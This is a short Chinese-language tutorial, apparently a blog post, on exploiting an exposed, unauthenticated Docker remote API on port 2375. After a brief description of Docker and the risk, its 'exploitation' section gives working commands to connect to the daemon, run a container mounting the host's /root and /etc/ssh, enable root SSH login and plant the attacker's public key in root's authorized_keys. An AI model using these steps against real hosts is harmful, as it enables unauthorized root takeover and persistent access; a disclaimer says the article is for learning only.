目录
- Docker简述
- Docker 2375端口安全风险
- Docker命令连接
- 利用
声明:本文仅供学习参考,其中涉及的一切资源均来源于网络,请勿用于任何非法行为,否则您将自行承担相应后果,本人不承担任何法律及连带责任。
Docker简述
Docker是一个开源的应用容器引擎,基于LXC的高级容器引擎,源代码托管在Github 上,基于go语言并遵从Apache2.0协议,开源让开发者可以打包他们的应用以及依赖包到一个可移植的容器中,然后发布到任何流行的 Linux 机器上,也可以实现虚拟化。容器是完全使用沙箱机制,相互之间不会有任何接口。
Docker 2375端口安全风险
为了实现集群管理,Docker提供了远程管理接口。Docker Daemon作为守护进程,运行在后台,可以执行发送到管理接口上的Docker命令。正是因为错误地使用了Docker远端接口,引起了安全漏洞,因此在启动Docker Daemon时,加入-H 0.0.0.0:2375,Docker Daemon就可以接收远端的Docker Client发送的指令。Docker是把2375端口作为非加密端口暴露出来,一般是用在测试环境中。此时,没有任何加密和认证过程,只要知道Docker主机的IP,任何人都可以管理这台主机上的容器和镜像。
Docker命令连接
当$HOST主机以docker daemon -H=0.0.0.0:2375方式启动daemon时,导致2375端口对外网开放,攻击者可以直接用Docker命令连接并管理docker daemon进行直接操作:
docker -H tcp://$HOST:2375 info
利用
1、查看远程服务器上已有的镜像
2、远程启一个tomcat容器(挂载宿主机的/root和/etc/ssh目录)
docker -H tcp://192.168.10.171:2375 run –rm -it –entrypoint bash -v /root:/tmp/root -v /etc/ssh:/tmp/ssh_etc -v /var/log:/tmp/log tomcat
在刚刚启动的容器中先看看 /tmp/ssh_etc/sshd_config (就是宿主机的/etc/ssh/sshd_config) 的PermitRootLogin字段。如果是no就改成yes,允许root通过ssh登录
3、攻击机上生成一对公私钥:ssh-keygen -t rsa -C “xxx@123.com”
4、切换到容器,将生成的公钥,拷贝到容器的/tmp/root/.ssh/authorized_keys文件中
cat >> /tmp/root/.ssh/authorized_keys <<EOF
>ssh-rsa AAA.... # 这里粘贴你刚刚在自己机器生成的id_rsa.pub
>EOF
# 如果/tmp/root/.ssh目录不存在,就直接创建
5、登录服务器